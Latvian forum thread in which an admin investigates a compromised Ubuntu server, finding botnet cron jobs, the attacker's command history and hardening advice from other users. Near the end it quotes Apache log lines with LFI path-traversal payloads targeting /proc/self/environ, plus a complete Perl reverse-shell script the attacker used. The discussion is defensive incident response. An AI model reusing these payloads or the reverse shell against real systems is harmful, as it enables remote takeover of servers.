Jun 26 23:47:01 www CRON[23042]: (username1) CMD (/home/username1/ /. /y2kupdate >/dev/null 2>&1)
Jun 26 23:47:01 www CRON[23043]: (username2) CMD (/dev/shm/.. /.ICE-unix/update >/dev/null 2>&1)
Jun 26 23:48:01 www CRON[23082]: (username1) CMD (/home/username1/ /. /y2kupdate >/dev/null 2>&1)
Jun 26 23:48:01 www CRON[23083]: (username2) CMD (/dev/shm/.. /.ICE-unix/update >/dev/null 2>&1)
Jun 26 23:49:01 www CRON[23122]: (username1) CMD (/home/username1/ /. /y2kupdate >/dev/null 2>&1)
Jun 26 23:49:01 www CRON[23123]: (username2) CMD (/dev/shm/.. /.ICE-unix/update >/dev/null 2>&1)
Un patiesi – crontabā šiem diviem lietotājiem ir attiecīgie ieraksti. Serveris ir aiz mikrotik rūtera, kurš pirms nedēļas/divām, pēc logiem spriežot tika bruteforcots, taču, atslēdzu tam ssh un ftp servisus un likās, ka ar to arī tas beidzās. Tagad uzķeru, ka acīmredzot ir uzlausts viens no serveriem. Jau kādas 40 min rokos googlē, taču konkrētu “what to do” neatrodu. Ir kāds ieteikums, neskaitot pārinstalēšanu. Nav arī skaidrs kā ļaundaris ticis pie lietotāju parolēm, kā arī nav skaidrība kādos logos ko man vajadzētu meklēt (caur kuriem kontiem ielogojies čalis, kas ticis darīts, utt), līdz ar to, ja paroles nav tikušas bruteforcotas vai nozagtas caur lietotāju inficētiem kompjiem, bet gan caur kādu caurumu pašā serverī, tad analoģiski veicot pārinstalāciju, šis caurums joprojām tur būs. Tātad – ko darīt, kādi ieteikumi? Uz priekiem prāts nenesās, tapēc lūdzu tipiskos humora dzinējus (format c utt.) lūgšu neizteikties.
Jau iepriekš paldies visiem, kas centīsies ko palīdzēt!
Hakera darbības no .bash_history uzlauztā konta faila:
cd
w
ps -aux
ifconfig
w
df -h
/sbin/ifconfig
uname -a
cat /etc/issue
cat /etc/passwd
su username3 (lietotājvārds aizstāts ar username3)
su username4 (lietotājvārds aizstāts ar username4)
w
Njā, izskatās ka esmu “on my own”, vai arī visi Linux speciņi nav atgājuši vēl no jāņu brīvdienām. 🙂 Anyway, joprojām gaidu kādu viedokli/padomu. 🙂
Tik pat labi to varētu būt darījis pats tas jūzeris.
Nu viņš svēti apgalvo, ka nav to darījis, nu un? Kur problēma? Nomaini atpakaļ to paroli un pasaki, lai nākošreiz liek sarežģītāku.
Un kurš vispār atstāj atvērtu SSH pieeju parastiem jūzeriem, ja tas nav vajadzīgs?
Zinot to, cik konkrētie lietotāji, kuriem nomainītas paroles, orientējas datortehnikā – pats useris to nevarēja darīt. Kā arī logini konkrētajos kontos ir veikti no Vācijas un Pekinas ip adresēm. Paroles nomainīt ta *** būtu, jautājums vairāk tendējās uz to, kādus nedarbus viņš varētu būt paveicis, sākot ar to y2kupdate crondarbu, kurš, cik no googles izsecināju, ir paredzēts, lai manu serveri pievienotu botnetam.
Aldi:
Vaļēja attālināta pieeja definējās kā kas? ssh? Ja tā, tad man ir nepieciešams varēt ssh`ot šajā serverī vai no mājām, vai jebkuras citas vietas.
Pārbaudi root, super user paroles šeiten:
Un ja pats jūzeris to nevarēja darīt, vai esi noslēdzis viņam tādu permisiju nost?
Š…emot vērā ka Tev ir uzstellēta baiga būda – kā ubuntu serveris, iespējams tur ir daudz kā lieka ieksā, un nav nokonfigurēts kautkas līdz galam!
Reāli ja webu un mailserveru vajadzībām, tad gala lietotājam nepieciešams tikai WEB admin panel, FTP pieeja. ssh, un root līmeņa pieejas un kloķus ideālāk būtu slēgtā IP zonā kaut vai likt.
Ieteicams arī SSH vispār aizliegt pieslēgties ar parolēm, bet noģenerēt KEY failus un slēgties, izmantojot tos (jūzera home mapē ieliekot authorized_keys failu) (https://blog.psuter.ch/?p=18https://blog.psuter.ch/?p=18
Kādus procesus konkrētais jūzeris jau ir sadarījis, var apskatīties, ierakstot kaut vai to pašu ps -aux un skatāmies kas ir palaists ar attiecīgo jūzerneimu.
Bet ja tic tam bash_history, tad neko īpašu viņš jau tur nav sadarījis.
Tad vēl ļoti svarīgs ieteikums – pie nesvarīgajiem servisiem, tur FTP, SSH atļauj slēgties tikai no Latvijas IP (ja vien nav kaut kādi ārzemju klienti baigie).
Paņem Latvijas IP sarakstu
Nu kaut kā šitā (Š itas baigi palīdz pret visādiem botiem utt)
#!/bin/bash
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state –state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -s 127.0.0.0/8 -d 127.0.0.0/8 -i lo -j ACCEPT
iptables -A INPUT -p icmp -j ACCEPT
iptables -A OUTPUT -p icmp -j ACCEPT
iptables -A INPUT -p tcp –dport 80 -j ACCEPT
iptables -A INPUT -p tcp –dport 443 -j ACCEPT
for x in `cat /etc/local.net`; do
iptables -A INPUT -p tcp -s $x –dport 21:22 -j ACCEPT
done
iptables -A OUTPUT -p tcp –sport 20 -j ACCEPT
…
heh, vispār man nav ne jausmas, vai Ubuntu vispār izmanto iptables, bet gan jau
Ja nevēlies/nevari palīdzēt, tad, lūdzu, vismaz nepiesārņo šo topiku.
Da es tādiem kā tev reti palīdzu, vienīgi ja labs garīgais. Citādi ļauju atsprāgt dabīgā gaitā. Uzlauzts viņš esot.
Lesson 1: Useriem NEKÄ€DU SSH!
Lesson 2: Nekādu REMOTE SSH (ko es pats neievēroju, bet man nav daudz ko zaudēt)!
Lesson 3: Nekādu atvērtu lieku portu!
Lesson 4: Pilnīgi izolēt lietotājus vienu no otra un no base sistēmas
Lesson 5: Lasi, pirms kaut ko raksti
Lesson 6: CHMOD
Lesson 7: Chown
Lesson 8: Chroot
Lesson 9: lietotāju kapsulācija (just google it)
Maty tvaju, nelien, ja neproti da galam ko dari. Es zemūdini arī nelienu stūrēt, tāpēc ka neprotu. Da i uzlauzts tu neesi. Cilvēks vienkārši izmantoja iespēju kuru tu visdrīzak viņam pasniedzi uz paplātes.
Pie tam, uzlauzts raksta ar Z ne S. Uzlauza, uzlauzīs, uzlaužam, ne uzlausa, uzlausīs, uzlaušam.
Visu cieņu, bet neiešu tādās lapās vadīt un pārbaudīt šādas paroles. 🙂 Un arī šaubos vai Ubuntu server Edition būtu sabāsti visādi lieki šiti, tomēr + – cilvēki ar galvu to mantu taisa.
Neesmu atstājis defaulto paroli superlietotājiem vai rootam, taču standarta lietotājiem pārsvarā visiem bija analoģiskas paroles, respektīvi atkod vienu, pārējās uzreiz top skaidras. 🙂 Jā, zinu, tā nedrīkst, ko lai saku, no kļūdām visi mēs mācāmies.
Drono:
Procesi no konkrētajiem useriem nav. Citu variantu kā pārbaudīt vai tas y2k dranķis neuztur sakarus ar kādu irc serveri, izņemot tās pašas ps -aux un netstat komandas jau nav, ne? Par tām Latvijas ip adresēm man gan bail salaist visu dēlī, jo ir vpn tunelis ar ārzemēm, ar kura sačakarēšanu lieki riskēt nedrīkst. 🙂
TavaMāte:
Paldies par mācībām. Noņēmu defaultajiem useriem ssh pieeju. Porti itkā rūterī visi aizvērti. Piekto punktu vienmēr pielietoju, par to nesatraucies.
Bet nu par to tavu nostāju – nejau pirms pirmo reizi ar meiteni pamīcijies gāji izlasīt 40 mīlasgrāmatas un iemācijies visas kamasutras pozas. Man patīk domāt, ka es eju, uzdrošinos, krītu, ceļos un eju tālā, nevis stāvu uz vietas, baidīdamies pakrist. 🙂 Lai Tev biežāk labs garīgais. 😉
Jautājums – crontabā links uz failu = “/home/username1/ /. /y2kupdate”, kā es varu līdz viņam tikt un izdzēst? Manas zemūdenes navigācijas spējas tik tālu vēl nesniedzas.
Paldies visiem par ieinteresētību, starpcitu!
Tas jau tajā pašā /home/username1/ mapē vien ir. Ja tur tāda faila (vairs) nav, tad nav. Dzēs ārā cron jobus un miers. Operētājsistēmu jau parasts jūzeris sačakarēt nemaz nevar.
Lai aizvāktu mēģini terminālī
killall y2kupdate
un tad
crontab -e
lai labotu cron tabulu, vienkārši izdzēs to, kas nav vajadzīgs. Jādara ar su (super user) jeb sudo priekšā liekot.
Ieteikums priekšdienām, ja tiešam vēlies ar šo visu darboties- paņem vienu lētu lietotu stacionāro, pa kādiem 50ls, uzliec savu mīļāko distribūciju bez gui un sāc lēnām veidot sistēmu, nokļūdīsies- labi, nones cieto disku un sāc atkal, no nulles. Es kā Debian fans tev rekomendētu izmantot Debian, kaut vai .deb pakotņu dēļ un tāpēc ka pats sāku savas linux gaitas vairāk par mājsaimnieci tieši ar šo os. Ja padomā līdz, viss ir ļoti loģiski un saprotami.
Drono es gribēju teikt, ka ja tu esi sistēmā, var visādu šmuci sadarīt, it īpaši ja ir atļauts laist skriptu interpretāciju kā servera lietotājam.
TavaMāte:
Nav vroģi ne y2kupdate, ne cits, manai neapbruņotai acij uzkrītošs process. No crontaba ieraksti tika momentāli aizvākti.
Par tām priekšdienām – garš stāsts, bet īsumā – pa nakti bija čakars ar elektrību bijis, no rīta viens no 3 RAID 5 masīvā saslēgtajiem hdd bija atmiris, pēc teorijas visam bija jādarbojās ok arī ar 2hdd, taču tā nenotika, ieboototies nevarēja, iepriekš stāvēja freebsd, visu diena nopista bet sistēma tā arī pie dzīvības netika dabūta, tika nolemts vnk taisīt fresh install, arī sakarā ar to, ka beigtā hdd vietā nopirkt jaunu izmaksā ~400ls, tapēc uztaisija fresh isntall un RAID 5 vietā tagad ir vnk mirrorings. Un sakarā ar laika trūkumu tika paņemts elementārākas variants, kurš vnk strādā “out of the box”, jo nebija laiks vairākas dienas čakarēties liekot manuāli visu, pietam zinot, cik sarežģīti ar linuxi tas viss var izvērsties.
Un kompīši veci arī ir pieejami, tikai atklāti sakot brīvais laiks tik maz paliek, ka neceļās rokas pagaidām to ieguldīt padziļinātā linux izpētē.
Drono:
/home/username1/ mapē nav nekas tāds (arī .slēptsfails variantā)
Taču, cik esmu saskāries ar crontab, tad ceļs uz failu parasti ir vienā gabalā, taču šeit starp diviem slashiem ir atstarpe, līdz ar to manī rodās apjukums. 🙂 Konkrētāk šis ceļa posms man nav izprotams “/ /./”. Pietam komanda “find / -name y2kupdate” atrod šo failu. Ar to pašu dīvaino ceļu.
Mani secinājumi:
Cik lasīji internetā, tad visi ar šo y2kupdate problēmu saskārušies cilvēki bija uzlausti caur webu. Patiešām, ssh bruteforce variants nedaudz nelīmējās kopā, jo crontaba ieraksti bija diviem lietotājiem username1 un username2, taču bash_history bija tikai username1, kā arī loginu vēsture bija tikai username1, taču ieraksts crontabā bija arī username2, kā arī ar find meklējot to y2kupdate, tas tiek atrasts zem username2(lietotājs kuram nav ne bash_history fails, ne arī ieraksts loginu vēsturē). Sāku pētīt apaches logus, uzdūros šādām dīvainām rindām(lai šo saprastu laikam jābūt webmastera un linux speciņa remixam. (likšu iekš spoiler taga, jo rindas ir diezgan garas)) :
[spoil]
94.199.181.165 – – [21/Jun/2010:20:42:05 +0300] “GET HTTP/1.1 HTTP/1.1” 400 473 “-” “
94.199.181.165 – – [21/Jun/2010:20:42:05 +0300] “GET /index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1” 200 876 “-” “
94.199.181.165 – – [21/Jun/2010:20:42:05 +0300] “GET /index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1” 200 876 “-” “
94.199.181.165 – – [21/Jun/2010:20:42:05 +0300] “GET /index2.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1” 200 876 “-” “
94.199.181.165 – – [21/Jun/2010:20:42:05 +0300] “GET /index2.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1” 200 876 “-” “
[/spoil]
Š is arī laikam tad būs tas caurums. Jautājums pēc kādiem atslēgvārdiem šāds uzbrukums definējās, lai varu meklēt risinājumu?
P.S Logfile jau visu pasaka –
Tika paķerts šis kods:
#!/usr/bin/perl
use Socket;
$cmd= “lynx”;
$system= ‘echo “`uname -a`”;echo “`id`”;HISTFILE=/dev/null /bin/sh -i’;
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die(”Error: $!n”);
$paddr=sockaddr_in($port, $iaddr) || die(”Error: $!n”);
$proto=getprotobyname(’tcp’);
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(”Error: $!n”);
connect(SOCKET, $paddr) || die(”Error: $!n”);
open(STDIN, “>&SOCKET”);
open(STDOUT, “>&SOCKET”);
open(STDERR, “>&SOCKET”);
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
un pie tam vēl šis –
Atbilde uz tavu nākamo postu ir, ka pie tā visa varētu būt vainīgs šis pats cback fails,
Un caur webu arī var izsaukt bashu, šellus un dajebko. 😉 Ja vien neesi pareizi nokonfigurējis PHP
Preses relīzes